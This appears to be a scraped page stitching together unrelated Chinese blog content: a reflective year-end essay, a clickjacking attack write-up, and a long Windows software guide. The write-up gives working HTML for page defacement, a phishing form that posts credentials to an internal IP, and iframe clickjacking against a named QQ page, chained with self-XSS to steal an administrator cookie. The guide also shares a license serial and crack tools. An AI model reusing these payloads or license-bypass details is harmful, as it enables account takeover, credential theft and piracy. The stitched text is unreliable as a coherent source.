这是一段我反复吟诵，赞赏不已的好文字，谈尽人情世故与求知真相。翻译为认知科学版，意思是：1）no zuo no die；2）有理性思维才算聪明，光智商不够；3）高理性思维符合自然之道，能规避风险；4）怎样提高理性思维？致虚与守静。也就是古版专念与自我决定论；5）光理性思维还不够，还需同理心与灵性。同理心来自换位思考，灵性来自登高山，涉大川，观沧海，与自然一体。
在这样一个难以静心的时代，如何真正安静下来？答案在王维那里。——返景入深林，复照青苔上。这是安静。——江流天地外，山色有无中。依然是安静。美国汉学家宇文所安却说，王维不是一个真正安静的诗人，而是一个用很大力气让自己安静下来的人。那是「安禅制毒龙」；也是「落日鸟边下，秋原人外闲」。
小结
我是阳志平，我就是我，独一无二。
阳志平 2017-12-31
备注：2014年总结，请读：再见，2014（上） 与 再见，2014（下）。 2015年总结，请读：旧岁；2016年总结，请读：我的2016年。
- 博客 Jiajun的编程随想 2017-12-30 08:00:00《Golang 分布式异步任务队列 Machinery 教程》Golang的分布式任务队列还不算多，目前比较成熟的应该就只有 [Machinery](https://github.com/RichardKnop/machinery) 了。这篇文章里我们简略的看一下Machinery怎么用。但是我们首先简单介绍一下异步任务这个概念...
- 博客 Jiajun的编程随想 2017-12-27 08:00:00《使用geohash完成地理距离计算》geohash的原理是使用二分法，把当前的经度和纬度和最大最小的经度纬度进行无限二分，在一边则为0，否则为1，这样就可以定位到地球上的每一个点了。然后把经度放在偶数位，纬度放在奇数位，组成一个01010101串。如果想变得更容易传输，可以用某种方式进行hash，例如 `base32`, `base64` 等...
- 博客 Jiajun的编程随想 2017-12-20 08:00:00《2018年就要到了，这一年都做了什么呢？》一年又这么过去了，到年底的时候就应该总结一下过去的一年做了哪些事情，学到了什么，悟到了什么，有什么是需要改进的。2017年，要说发生的重大事情，第一是，发现自己原来想做的是高性能自研软件的研发，想成为技术专家，而不是CRUD程序员...
- 博客 Vulkey_Chen's Blog 2017-12-20 00:00:00
前言
有一段时间没做测试了，偶尔的时候也会去挖挖洞。本文章要写的东西是我利用
ClickJacking拿下管理员权限的测试过程。但在说明过程之前，先带大家了解一下ClickJacking的基本原理以及简单的漏洞挖掘。ClickJacking
ClickJacking背景说明:
ClickJacking（点击劫持）是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年首创的。 ClickJacking是一种视觉欺骗攻击手段，在web端就是iframe嵌套一个透明不可见的页面，让用户在不知情(被欺骗)的情况下，点击攻击者想要欺骗用户点击的位置。
说道视觉欺骗，相信有
炫技经验的朋友们一定会想到，自己一个后台拿不下Webshell权限的时候，而想要黑掉首页从而达到炫技，使用的是什么呢？没错一般使用CSS样式表来劫持首页以造成黑掉的假象~<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>hacked by key</h1></td></tr></tbody></table>
除了可以炫技，CSS劫持可以做的东西也有很多：例如经典的form表单钓鱼攻击
<table+style="left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;"><tr><td><form action="http://192.168.0.109/login.php" method="post">账号：<input type="text" name="name"><br>密码：<input type="password" name="pwd"><br><input type="submit" value="登陆"></form><td></tr></table>
这里就不对代码的意思进行解读了，可以看到CSS劫持达到的视觉欺骗攻击效果还是比较LOW的，因为这样的攻击手段偏被动式。而我要说的点击劫持其实也算是被动式，不过相对来说比较容易获得信任让被动式触发，这里只是单单对攻击手法谁的成功率比较高作为比较
前面背景介绍的时候说了，点击劫持攻击其实就是镶嵌一个iframe框架(存在点击劫持漏洞的页面)在页面上，然后再把其修改为透明的样式。这样的操作只是造成了视觉欺骗，还没达到欺骗点击的效果，所以就需要知道iframe框架其按钮的位置，然后在基于透明层模拟一个位置大小相同的按钮，发给用户让其点击~~
这里以QQ安全中心的一个点击劫持为例，作为一个QQ的资深用户应该知道QQ是有安全中心紧急冻结QQ服务的，只要登录自己的安全中心就可以冻结，地址(漏洞地址，目前漏洞已经修复)为：https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985
一点击，你的QQ就被会冻结(当时不知道逗了多少人~)，那这样怎么利用呢？
1.建立iframe框架:
<iframe id="frame" src="https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985"></iframe>2.建立iframe的CSS样式:
#frame { border: 0px; /*边框属性为0*/ height: 100%; /*框架高度100%*/ width: 100%; /*框架宽度100%*/ /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ }3.获取iframe框架引用的原页面的按钮位置和大小:
大小直接通过审查元素可以看得到:
现在要获取的就是按钮元素到浏览器顶部的距离，这里通过
id.offsetTop有些时候是无法直接获取的:>>span_verify.offsetTop ←16
获取到的是16~很醉，所以使用如下的方法直接获取:
document.getElementById('span_verify').getBoundingClientRect().top
4.建立按钮:<input type="button" class="button" value="Click" />5.根据第三步骤获取到的建立按钮样式:
.button { position: fixed; width: 100%; height: 42px; margin: 0 auto; left: 0; right: 0; display: block; top: 278px; }6.散播，用户中招:
一次点击劫持攻击案例
说了这么多，在前几天的测试中我是如何拿到管理员权限呢？挖掘到一处self-xss，这里先说明下self-xss可以理解为只能攻击myself~
发现流程:
发现输入框->秉着见框就X的原理插入XSS Payload->弹框->发现成功
然而获取到的URL链接是
/?keyword=<script>alert(1)</script>，但是不是xss，keyword的值显示在输入框内，需要你再点击搜索标题按钮才可以触发漏洞。形成的攻击思路->iframe嵌套漏洞URL链接->Click Jacking攻击页面构造->通过留言给管理员引诱触发
攻击页面构造流程其实耐心读到这里的朋友已经是非常明确步骤了:
建立iframe框架->建立iframe框架CSS样式->获取按钮位置大小->建立按钮->建立按钮CSS样式->留言板留言外网攻击链接->获取管理员Cookie->Cookie伪造进入后台
结尾
一次很有意思的实践，让自己满满的成就感，同时也完成了项目任务~
- 博客 庭说 2017-12-18 00:00:00
全球 Windows 10 活跃设备已经超过 10 亿台，如何让 Windows 10 更好用？有哪些优质的实用软件？这篇文章一次性统统告诉你。
使用技巧
以下 Tips 可以帮你提高工作效率和电脑性能。
保持桌面整洁
文件不要放在桌面上，而是放在非系统盘（C 盘 以外），然后右键文件或文件夹，选择
发送到：快捷方式到桌面或固定到“开始”屏幕，这样做的好处是：- 重装系统时（只动 C 盘的情况下），桌面会被清空。放在非系统盘，可以减少丢失文件的风险。
- 不会拖慢你的电脑运行速度（删除不常用的快捷方式）。
优化任务栏
- 右击任务栏不想展示出来的图标，选择
在任务栏取消固定。 - 右击任务栏任一空白处
- 选择
任务栏设置>合并任务栏按钮：任务栏已满时。 - 取消勾选
人脉、任务视图、Cotana（可用Win + C唤醒小娜）等。
- 选择
键盘快捷键
Windows 徽标键 ⊞是位于Ctrl和Alt的中间的视窗图标，以下简称Win。按该键 执行以下操作 Win + C召唤个人助理微软小娜（Cortana）。需在 设置里开启。Win + D显示桌面（Desktop），再按一次即可返回原本工作视窗。🔥
触摸板：三指下滑。Win + E打开文件资源管理器（Explore）。🔥 Win + I打开设置。 Win + L锁定（Lock）你的电脑。 Win + R打开运行（Run）对话框。 Win + S打开搜索（Search）。
触摸板：三指点击。Win + V开启剪贴板历史记录功能。🔥 Win + W打开白板（Whiteboard）或全屏截图。 Win + X打开「快速链接」菜单。按两下 U即可关机。Win + 数字启动固定到任务栏的应用。 Win+.（句点）打开表情符号面板。 Win + Shift + S启动屏幕截图（Screenshot）。
可用 Snipaste 代替。Shift+小写字母输入大写字母。 Shift+鼠标左键单击连续选择。 Ctrl+鼠标左键单击多选。 Ctrl + Shift + V纯文本粘贴（不带格式）。 Alt + Tab在打开应用之间切换（按住 Alt不放，再按Tab）。
触摸板：三指左右滑动。Ctrl + Shift + N新建文件夹。🔥 F2重命名所选项目。 Backspace查看上一个文件夹。 Alt + F4关闭活动项，或者退出活动应用。 Win + E≠ 快速访问- 使用
Win + E打开计算机（我的电脑）。 - 依次点击左上角的
查看-选项。 - 在
常规选项卡上选择打开文件资源管理器时打开：此电脑。
除此之外，切换
查看选项卡 -文件和文件夹- 勾选登录时还原上一个文件夹窗口。上班摸鱼的必备技能：一个桌面工作，一个桌面玩乐。或者在浏览器打开 fakeupdate.net，选一张系统「升级」的图片，全屏（
F11），开始划水。按该键 执行以下操作 Win+Tab打开任务视图。 Win+Ctrl+D添加虚拟桌面。 Win+Ctrl+向右键在你于右侧创建的虚拟桌面之间切换。
触摸板：四指向左轻扫。Win+Ctrl+向左键在你于左侧创建的虚拟桌面之间切换。
触摸板：四指向右轻扫。Win+Ctrl+F4关闭你正在使用的虚拟桌面。 关联阅读
触摸板手势
手势 执行以下操作 点击触摸板。 选择项目 将两个手指放在触摸板上，然后以水平或垂直方向滑动。 滚动 将两个手指放在触摸板上，然后收缩或拉伸。 放大或缩小 使用两根手指点击触摸板，或按右下角。 显示更多命令 = 右键单击 用三根手指点击触摸板。 打开 Cortana 将三根手指放在触摸板上，然后朝上轻扫。 查看所有打开的窗口 将三根手指放在触摸板上，然后朝下轻扫。 显示桌面 将三根手指放在触摸板上，然后向右或向左轻扫。 在打开的窗口之间切换 用四根手指点击触摸板。 打开操作中心 将四根手指放在触摸板上，然后向右或向左轻扫。 切换虚拟桌面 资料来源：适用于 Windows 10 的触摸板手势 - Microsoft 支持
提高电脑性能
- 更新 Windows：选择
开始菜单 ，然后依次选择设置>更新和安全 - 更新设备驱动程序（借助 360 驱动大师 更新）
- Process Lasso：Real-Time CPU Optimization and Automation
- 删除从不使用的程序；定期清理系统垃圾；定期重启
- 最后的大招：初始化电脑（恢复出厂设置、格式化）：依次选择
开始按钮 >设置>更新和安全>恢复
禁用不必要的开机启动程序
- 选择
开始菜单 ，然后依次选择设置>应用>启动 - 在
启动应用下，找到你想要停止自动启动的程序，然后将其设置为关 - 或者通过火绒安全的启动项管理功能关闭不需要自启的服务
调整 Windows 的外观和性能
- Windows 10 包含许多视觉效果，例如动画和阴影效果。这些效果看起来很棒，但它们也可能使用额外的系统资源，并且可能降低电脑速度，当你的电脑内存（RAM）量较小时尤其如此
- 在任务栏上的搜索框中（
Win + S），键入性能，然后选择调整 Windows 的外观和性能。在视觉效果选项卡上，依次选择调整为最佳性能>应用（可以勾选平滑屏幕字体边缘和显示缩略图，而不是图标）
修改电源计划
⚠️ 如果追求长续航，请勿选择以下 2 个电源计划。
高性能
选择
开始菜单 ，然后依次选择设置>系统>电源和睡眠>电源选项>其他电源设置>显示附加计划：高性能卓越性能
Win+X：Windows PowerShell (管理员)。- 粘贴以下代码，Enter，提示
电源方案 GUID: f97d2d63-94db-4240-b15b-6473d6c8c75f (卓越性能)。
powercfg -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61- 选择
开始菜单 ，然后依次选择设置>系统>电源和睡眠>电源选项>其他电源设置>显示附加计划：卓越性能
开启休眠模式
- 选择
开始菜单 ，然后依次选择设置>系统>电源和睡眠>电源选项>其他电源设置。 - 点击左上角的
选择电源按钮的功能-更改当前不可用的设置- 勾选休眠 - 选择
开始菜单，点击电源，即可看到休眠选项。
关联阅读
清理存储空间
按下键盘快捷键
Win+S打开搜索，输入存储设置配置存储感知或立即运行，按需配置。查看其他驱动器上的存储使用情况，选择磁盘，临时文件，扫描，立即删除。更改新内容的保存位置：把C:盘改为其他盘，释放系统盘的空间。
按下键盘快捷键
Win+E，打开计算机（我的电脑）：- 右键点击左侧的
下载-属性 - 切换到
位置选项卡，更改存储位置到D:\Downloads
开启夜间模式
- 显示器会发出蓝光，影响你在夜间的睡眠。为了帮助你入睡，请开启夜间模式，此后显示器将在夜间显示让眼睛更加舒适的暖色调。
- 选择
开始>设置>系统>显示>夜间模式设置> 从日落到日出开启夜间模式。
管理剪贴板
- 通过
Win + V即可开启剪贴板历史记录功能，并且可以固定经常使用的项目。如果你经常和文字打交道，Win + V将会是你爱不释手的一个功能。 - 如果你的 Windows 没有更新（或者不想更新），可以用 Ditto 代替，详情见少数派的报道：免费开源的 Windows 管理剪贴板，让你处理文字更高效。
清除工作区
清除其他所有打开的应用，专心使用当前应用。选择并长按想要保留的窗口（的顶栏），然后来回轻微晃动鼠标（或手指）。所有其他打开的应用将自动最小化以清空你的工作区。
多任务处理
选择任何打开的窗口，然后将它拖动并贴靠在屏幕的边缘或角落，它们会自动调整大小，然后并排贴靠在一起。
复制文件路径
Shift+ 鼠标右键单击文件，在弹出菜单中选择复制文件地址。获取 Windows 用户名（账号）和密码
iPhone 进入 Windows 共享文件夹，需要输入 Windows 的用户名（账号）和密码。以 Windows 11 为例：
- 右键点击开始菜单（田字图标）
- 选择
终端管理员 - 输入
whoami即可出现现在登录的账户，例如tim-laptop\lenovo或者lenovo - 密码就是锁屏密码（PIN），或者 Microsoft 账户密码（未验证）
参考资料：
- 【二麦】保姆级详解！iPhone 传数据到 Windows 电脑的五种方法 - YouTube
- 轻松实现 iPhone 和 Windows 传输文件 - YouTube
- 将照片从iPhone传到pc端的最好解决方案有哪些？ - 知乎
其它技巧
- 视频教程：如何在局域网中共享电脑文件夹？- Topbook
- 视频教程：如何在局域网中共享打印机？- Topbook
- 视频教程：这 10 个设置，让你的电脑用起来更加干净舒服 - 喵喵折 App
- 访问 microsoft.com/zh-cn/tips/home 查阅更多 Windows 使用技巧。
佳软推荐
- 不想卸载重装，如何把 C 盘已安装的软件转移到其他盘：FreeMove
- 统一把安装包放在下载文件夹，例如
D:\Downloads - 安装软件时
- 安装路径中最好不要包含中文
- 统一在非系统盘管理：直接把路径中的
C改成D，并去掉x86（C:\Program Files (x86)\QQ改为D:\Program Files\QQ）
假设我下载了一个名为
Shadowsocks-4.1.9.3.zip到D:\Downloads，那么如何验证这个文件完整性（未被篡改）呢？Step 1：按下键盘快捷键
Win+X，选择Windows PowerShellStep 2：根据不同的加密算法，复制相应的解密命令：
MD5
CertUtil -hashfile D:\Downloads\Shadowsocks-4.1.9.3.zip MD5SHA-1
CertUtil -hashfile D:\Downloads\Shadowsocks-4.1.9.3.zip SHA1SHA-256
CertUtil -hashfile D:\Downloads\Shadowsocks-4.1.9.3.zip SHA256SHA-512
CertUtil -hashfile D:\Downloads\Shadowsocks-4.1.9.3.zip SHA512Step 3：与下载页面提供的哈希值对比，如果一致，说明此文件没有被篡改。
你还可以把文件的哈希值（File Hash）放到在线杀毒网站 VirusTotal 检测一下。
VirusTotal 可以免费分析文件是否有：病毒、蠕虫、木马和各种恶意程序。VirusTotal 与传统杀毒软件的不同之处是，VirusTotal 通过多种杀毒引擎扫描文件，判断上传的文件是否为恶意软件。
优选免安装的便携版（Portable）
- 把下载好的
Portable.exe剪切到D:\Program Files（或者其他路径）。 - 右键点击文件 -
打开方式-选择其他应用-更多应用-在这台电脑上查找其他应用（勾选始终使用此应用打开 *** 文件）。 - 在
D:\Program Files找到对应的Portable.exe-打开
使用国内的搜索引擎查找软件，可能会下载夹带「私货」的「官方」软件。下面举一个真实的例子：
- 打开
sogou.com，搜索Geek Uninstaller（一个用于卸载软件的小工具）。 - 第一个结果是英文官网
geekuninstaller.com，因为不是我的电脑，而没有网络代理工具时，下载速度很慢(2 MB 左右的软件也要下很久）。所以我选择了第二个搜狗下载（赫然写着安全二字），但我没有上高亮加粗的高速下载通道，因为多年的网上冲浪经验告诉我，使用这类软件助手对你一点帮助也没有。所以我选择了普通下载模式。 - 不一会儿，
geek下载好了，不用安装，解压即可使用。正当我「大快朵颐」地卸载同事电脑里的流氓软件时，火绒安全 拉响了警报：通过搜狗下载的Geek Uninstaller正在偷偷安装其他软件。真是日了（搜）狗了！当然，其他国内搜索引擎也好不到哪里去！
💡 点击以下软件标题，即可直达官网下载链接（有些可能需要科学上网）。
系统工具
科学上网
提升互联网生活质量的第一步是打通全球网络，访问 tingtalk.me/fq 开启数字世界的另一扇大门。
浏览器：Chrome
如何下载
选用理由
- Google Chrome（谷歌浏览器）作为全球 65.64% 用户的选择，你应该成为其中的一员（2019 年 4 月）。
- 你可以从超过 15 万款 Chrome 扩展程序中随心选择，按照自己的喜好扩展浏览器功能（Chrome 最强大的地方）。
- 开启同步功能（登陆 Google 账号）后，Chrome 便会在你的笔记本电脑、平板电脑和手机上自动同步您的最新活动状态（例如扩展程序、书签、历史记录、密码和其他设置）。这样，无论身在何处，都能在自己的设备上享受一致的体验。
- 跨设备共享网页。在需要共享的设备上登录 Google 帐号并为 Chrome 启用同步功能：
- 桌面端：右键点击相应链接或网页，
发送到您的设备，选择要将网页发送到的设备。 - 移动端：点击地址框右侧的设置图标（右上角的三个点），依次点按
分享…，接着点击发送到您的设备，选择要将网页发送到的设备。
- 桌面端：右键点击相应链接或网页，
- 更多玩法，参阅 Chrome 插件（扩展程序） 清单 - 庭说
电脑管家：火绒安全
- Windows 10 自带的
安全中心对大部分人来说已经够用，如不放心，就加个 火绒安全 吧。强悍、干净、轻巧的火绒可以让你安全、安静、自由地使用电脑。此外，关注公众号「火绒安全实验室」（WeChat ID：HuorongLab） 你就会知道金山毒霸、360 安全卫士和腾讯电脑管等有多么恶毒。 - 火绒不会有广告弹窗等任何打扰用户的行为，也不会在安装包中随意捆绑其他软件。同时，火绒反捆绑和弹窗拦截还能帮助您的计算机变得更加干净。
- 家长控制：帮助家长保护、管教孩子，在孩子使用电脑时对孩子的上网行为进行管控。家长控制功能从上网时段控制、程序执行控制、网站内容控制、设备使用控制四个方面保护孩子。
解压缩：Bandizip
- 轻巧、快速、免费、好看的解压缩软件。
- 最喜欢它的「自动解压」功能：不用再担心解压出一堆散乱文件或双层文件夹。
- 7.x 版本之后，需要 30 美元去广告，可在 官网 下载 6.x 版本。
- 关联阅读：Bandizip | 也许是全球第二好用的压缩软件（为什么叫「第二好用」的压缩软件呢？因为每个人都有自己的的习惯，自己喜欢的才是最好用的。）
系统优化：Dism++
DISM：Deployment Image Service and Management Tool，部署映像服务和管理。
也许是最强的 Windows 实用工具（系统优化工具），例如：
- 在桌面上的显示我的电脑
- 将用户账号控制程序（UAC）调整为从不通知
- 隐藏快捷方式小箭头
- 启用 Windows 照片查看器
- 关闭商店应用推广
- 打开资源管理器（
Win+E）时显示此电脑 - 任务栏时钟精确到秒
- ……
即下即用，无广告、无后门，安心用。
卸载工具：Geek Uninstaller
通过控制面板卸载程序不会自动扫描残留的文件、文件夹和注册表项目。
优点
- 小巧（2 MB ）、绿色（无需安装）、易用（单文件）的卸载工具。
- 卸载完成，Geek Uninstaller 会自动扫描残留的文件（夹）和注册表项目。
- 支持卸载
Windows Store App（切换入口：顶部菜单栏 >查看）
缺点
- 部分用户反应会连带把其它软件一起卸载了，但是我用了几年没遇到过这种情况。
- 可选 Bulk Crap Uninstaller 作为替代卸载软件（视频介绍）。
- 免费开源
- 支持多选卸载
- 界面语言没有中文版
下载
- 官网（下载速度慢）：geekuninstaller.com。
使用
- 打开
geek。 - 找到想要卸载的软件：
- 底部有搜索框。
- 点击
程序名称、大小、安装时间，即可改变软件排序。
- 双击；或者右击 >
卸载(U)…。 - 卸载完成后，geek 会自动扫描残留的文件、文件夹和注册表项目（清理效果：★★★☆☆）。
导出软件清单
- 点击顶部菜单栏的
文件。 导出为 HTML(E)… Ctrl +S。
重装电脑后，就可以照着这个清单武装你的电脑。
或者试试 Uninstalr。
360 驱动大师网卡版
虽然很不想用 360 的产品，但是，无奈其他驱动管理软件（驱动精灵、驱动人生）都太流氓。
如不放心 360 家的软件，去各家驱动的官网更新，会是更好的选择。
进程优化：Process Lasso
服役多年老电脑，会越来越卡了，使用 Process Lasso（Real-Time CPU Optimization and Automation）也许可以再撑一撑。
对于绝大多数用户来说，安装 Process Lasso 后无需任何设置，软件即可让老旧设备如获新生。详情请参阅 Process Lasso – 进程实时优化，拯救老电脑，告别卡顿 - 数码荔枝
下载工具
- 别再问我什么是 BT 种子 - 回形针PaperClip
- 磁力下载是什么原理？跟用种子下载的区别大不大？- 万物30秒
- 什么是 BitTorrent（BT 种子）、磁力链接（Magnet URI scheme）、电驴链接（eD2k）和迅雷链接（Thunder）by 奔跑中的奶酪
IDM
Internet Download Manager 是一个多线程下载管理器。虽然长得丑，但是可以大大提升你的下载幸福感。可惜只支持超文本（安全）传输协议（HTTP / HTTPS）和文件传输协议（FTP），不支持 BitTorrent（BT）、磁力链接（Magnet URI scheme）、电驴链接（eD2k）和迅雷链接（Thunder）。这个时候就得迅雷和其他下载软件出场了。
什么是多线程下载？打个比方，现在要接满 1 桶水，浏览器下载时只能开 1 个水龙头，接满 1 桶水时间为 1 小时。多线程下载器可以 32 个水龙头同时接水，接满 1 桶水时间缩短到 2 分钟，足足快了 32 倍。by 网盘直链下载助手价格：￥109.00
购买地址：https://store.lizhi.io/site/products/id/325?cid=th4z9un0免费破解版
付费正版
经济宽裕的读者还请多多支持，这是 购买链接（价格可能有波动）：
一年授权 永久授权 ￥35 ￥109 可激活 1 台设备，享有一年使用和更新权，到期后需再次购买。 可激活 1 台设备，享有永久使用权。三年内免费更新权。 用途
技巧
下载-选项-连接：默认最大连接数修改为32（不过开太多线程可能会被网站 Ban）- 如何下载 被墙 的文件：
下载-选项-代理服务器-手动配置代理 / socks地址：127.0.0.1端口：1080- 配置好后，IDM 就可以下载被 Q 的内容了。但是下载完记得
不使用代理 / socks，除非你有很多 番茄。
- 快捷键：
下载-选项-快捷键- 强制调用 IDM：点击时按住
Insert键可以使 IDM 直接抢占浏览器的所有资源下载，从而避免二次请求带来的尴尬。 - 暂停调用 IDM：按住
Alt键则可以让 IDM 暂时停止接管浏览器的下载，让浏览器自行完成下载任务。
- 强制调用 IDM：点击时按住
- 针对包含有效期的动态临时下载地址，在主界面中右击未完成的任务，选择
刷新下载地址。
迅雷
根据 阿虚同学 的测试，最佳的下载搭档是：
下载思路
- 先用迅雷 X 下载资源
- 迅雷 X 搞不定的情况下，使用迅雷 5 或比特彗星（对资源无限制）
下载链接
打开 阿虚同学的储物间 的第 8 栏。
小技巧：把迅雷边下边看的默认播放器为 PotPlayer - AppSo
uTorrent
- 建议安装 2.2.1 版本
- 图文设置教程：如何优雅的使用 BitTorrent网络下载文件? - NovaOPCJ's Blog
即时通讯
Telegram
目前最好用的即时通信软件。教程请参阅：Telegram：电报新手指南、使用技巧及频道推荐。
微信
超过十亿人使用的应用，难用也得用。有生之年，希望能看到微信向 Telegram 靠拢。
TIM
QQ 办公简洁版，界面清爽，支持在线编辑 Word 和 Excel，提供 10G 云盘。不过，缺少群视频功能（有主持人控场的那种）。
文档处理
Typora
现代汉语就像用脏了的人民币，要用 Markdown 洗一洗。
- 使用 Typora（谐音：太婆热）这款所见即所得（What You See Is What You Get）的 Markdown 编辑器，你会感觉自己的双手有了魔法一般，一敲一击，美好的文字皆优雅地排列在屏幕上，让人觉得舒服自然。相信我，通过它，你会找到写作的乐趣。
- 复制 Word 和 Excel 中的表格，Typora 会智能转换成 Markdown 格式的表格（Markdown 是轻量化标记语言，所以不支持合并 / 拆分单元格）。
- Typora 原生支持导出 PDF、HTML 等格式。你可以根据软件内的提示安装 Pandoc 插件来导出更多文件格式，例如 Word (.docx)，LaTeX 等格式。
- 右键
使用 Google 搜索，真是妙不可言。 文件>偏好设置启动选项：打开指定目录，如何 Markdown 文档全部放在 1 个文件夹（允许有子文件夹），这个设置超级有用。开启自动保存
Ctrl+Shift+3文件树视图Ctrl+Shift+3（全局）搜索视图：可检索 Markdown 文档里内容。Awesome！
关联阅读：Markdown 入门教程及书写风格指南
Microsoft Office
Markdown 是非常优秀的写作语言，但并不是人人都知道，所以电脑还是得备一个 Office 软件打开 Word、Excel 和 PowerPoint。
推荐使用 Office Tool Plus 下载 Microsoft Office。但是更推荐订阅 Microsoft 365（原 Office 365）家庭版，一年的费用是 ¥498，最多可供 6 人使用，且每人有 1 TB 的 OneDrive 云存储空间。
还可以试试 腾讯文档：
- 无需下载安装，打开网页或小程序就能查看和编辑，云端实时保存。
- 支持创建、导入和下载 Word、Excel 和 PPT。
- 多人实时编辑文档，权限安全可控。
- ❗ 但 Markdown 模式真的太丑太难用了。
Visual Studio Code
微软开发的代码编辑器。
Adobe Acrobat
如果不需要修改 PDF 的内容，Acrobat Reader、Sumatra、Google Chrome（谷歌浏览器）、Microsoft Edge（ Windows 10 自带浏览器）和 WPS Office 都可以满足你的要求。但当您需要编辑 PDF 的时候，Acrobat Pro 就是您最佳的 PDF 解决方案，毕竟，PDF 是由 Adobe 1991 年发明的。
一年的费用 $359，去微博找 @vposy 的置顶微博说不定有惊喜。
Sumatra PDF
开源小巧的 PDF 阅读器，更支持 eBook (ePub, Mobi), XPS, DjVu, CHM, Comic Book (CBZ and CBR) 。
PDF 补丁丁
一个多功能 PDF 工具箱：修改 PDF、编辑 PDF 书签、导出 PDF 书签、导入书签、生成、合并、拆分、提取页内容、提取图片、OCR……永久免费，绝不过期，无广告，无弹出废话对话框。
PDF Arranger
PDF Arranger - 简单直观的 PDF 页面操作工具 - 发现频道 - 小众软件官方论坛
图像处理
qimgv
Windows 的默认图片浏览器非常难用。而 qimgv 是一款开源的图片浏览器，小巧、快速（比 ImageGlass 快）、简洁，支持视频预览、剪裁、快捷移动等功能，非常适合替代 Windows 原生图片浏览器。
详情请参阅 qimgv 的视频介绍 by Appinn
想要不打开 Photoshop 直接预览 PSD 文件，试试 Honeyview（蜂蜜浏览器）：
- 无需解压，直接预览图像
- 支持批量转换图片格式和调整大小
Snipaste
- 在 Windows 10 中，按下
Win + Shift + S，然后拖动光标选择想要捕获的区域，即可完成部分屏幕截图。但想要获得更出色的截图体验，少不了 Snipaste（Snip + Paste截图 + 贴图）这款效率工具。 - 对于经常写报告，写文章的人来说，开启双屏工作模式，工作效率可大大提高。原因很简单，看参考资料时，不必频繁在不同窗口之间切换。事实上，并不是很多人拥有两个屏幕。很多时候只能在一个屏幕上不停地调整两个窗口，一边码字，一边看参考资料。Snipaste 应运而生，下载（免安装）并打开 Snipaste，按下
F1截图，再按F3，截图就在桌面置顶显示了（重启电脑后，贴图依旧在）。就这么简单！ - 更多使用技巧参考 Snipaste 用户指南。
ShareX
- 为截图自动加阴影，添加文字或者图片水印。
- 丰富的图像编辑器。
- 截图上传至图床。
FastStone Capture
滚动截图（捕捉滚动窗口）的好帮手。
- 付款版：FastStone Capture 9.3
- name（用户名）：bluman
- serial（注册码）：VPISCJULXUFGDDXYAUYF
- 免费版：FastStone Capture 5.3，有时会拼接失败。
解压后直接运行 FSCapture.exe（汉化便携版）即可，所有配置保存到 fsc.db 文件中。
若经济允许，请付费支持。
安装包来源：FastStone Capture 9.3 汉化绿色便携版 - 极品屏幕截图工具 - PortableSoft
LICEcap
- 免费开源的 GIF 录屏工具，支持 macOS 和 Windows 平台。
- 如果 LICEcap 不能满足你的要求，试试 ScreenToGif，不过录制出来的 GIF 体积偏大。
- ezGIF：免费的在线压缩工具。
Win + G启动录制屏幕工具。
智图
- （批量）图片压缩和图片格式转换。
- 安装之前，请阅读 安装指引 。
Google Photos
- 无限空间：在高画质上传模式下，Google 相册享有无限免费存储空间（目前我上传了接近 80GB 的相片和视频），文件缩小，画质几乎不减。
- 面容识别：按相似的面孔将亲朋好友（或宠物）的照片分门别类（如何快速寻找亲友 10 年前的相片，这是我能想到最快的方式）。
- 一搜即达：有一次，我想找一张正装照，但是照片太多了。突然想到还有 Google Photos，键入「正装」，我那些人模人样的「照骗」一下子筛选出来了。这小子，真帅！你还可以试试这些关键词，例如海滩、狗或日本，查找过去珍藏的照片。
- 往年今日：显示过去拍摄的照片，重温数年前的这一天（如果你容易睹物思人，请不要上传前任的相片到 Google Photos）。但大部分美颜 app 修图后都会抹除拍摄时间，所以请尽量使用原生相机照相（配合 Snapseed 轻微修图）。若干年后，你才不会觉得自己一直都是美得一塌糊涂（磨皮），以致忘了曾经的样子。
- 批量上传：网页版只能上传单个文件夹里的相片。批量上传相片的话，请下载 Google Photos 的 PC 客户端，开启全局代理模式后，挂一晚上，明早就能收到智能助理自动为你创建的风格化修图、拼贴、动画和影片等内容。
- 批量导出：借助 Google Takeout，你可以导出所有的相片（QQ 空间相册似乎没有这个批量导出的功能）。
Adobe 系列
方法一：
- 下载 Adobe Creative Cloud 并安装。
- 打开 Adobe Creative Cloud，登录 Adobe 账号，下载 Photoshop 和 Illustrator 等。
- 使用 GenP v2.5 破解，可能已失效。
方法二：
2021.3.11 更新
2020 版除 PS 外已为最终版本。2021 SP 版和大师版实时更新。
百度： 网页链接 提取码: eyxf
天翼： 网页链接 访问码：vu3d解压密码
@vposyInkscape
开源的矢量绘图软件，我拿来 位图矢量化，特别好用。
文件同步
坚果云
最安全、稳定、快速的云盘 / 网盘 / 企业网盘，提供跨平台的文件同步、备份、分享服务。以无限存储空间、多文件夹同步、速度最快的局域网同步为特点。
- 当前使用免费版（上传流量 1 G/月；下载流量 3 G/月）同步 Typora 写的 Markdown 文章，完全够用。
- Android 手机上使用 坚果云Markdown 编辑文章。
- 内置 坚果云合同库： 数万标准模板，例如《房屋租赁合同》、《离婚协议》、《 员工辞职信模板 》等，助您高效工作。
百度网盘
- 2012 年 9 月百度推出「百度云」。2016 年 10 月 11 日，百度云（Baidu Cloud）改名为百度网盘。
- 在国内大容量免费网盘相继「去世」的困境下，不知道百度网盘还能挺多久。虽然下载会限速，但是你可以通过 IDM 解除限速。
- ❗ 鸡蛋不要放在同一个篮子里，重要的数据还是乖乖地做好多个备份吧。
娱乐影音
荐片播放器
- 专治迅雷被封下载链接（号称）
- 免费高清视频在线观看
- 关联阅读：4 个方法教你如何下载影视资源
QQ 影音
